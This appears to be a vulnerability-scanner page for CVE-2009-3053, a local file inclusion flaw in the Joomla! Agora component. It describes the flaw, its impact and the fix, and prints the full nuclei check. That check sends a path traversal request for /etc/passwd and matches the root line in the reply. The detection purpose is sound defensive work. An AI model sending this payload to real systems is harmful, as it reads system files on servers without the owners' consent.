Joomla! Agora 3.0.0b - Local File Inclusion

mediumseverity

6.8CVSS score

5.9%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Joomla! Agora 3.0.0b (com_agora) allows remote attackers to include and execute arbitrary local files via local file inclusion in the action parameter to the avatars page, reachable through index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.

Fix

Apply the latest security patches or upgrade to a patched version of Joomla! Agora to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_agora&task=profile&page=avatars&action=../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2009-3053 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2009-3053

info:
  name: Joomla! Agora 3.0.0b - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! Agora 3.0.0b (com_agora) allows remote attackers to include and execute arbitrary local files via local file inclusion in the action parameter to the avatars page, reachable through index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Joomla! Agora to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/9564
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/52964
    - https://nvd.nist.gov/vuln/detail/CVE-2009-3053
    - http://www.exploit-db.com/exploits/9564
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2009-3053
    cwe-id: CWE-22
    epss-score: 0.05925
    epss-percentile: 0.93312
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve2009,cve,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_agora&task=profile&page=avatars&action=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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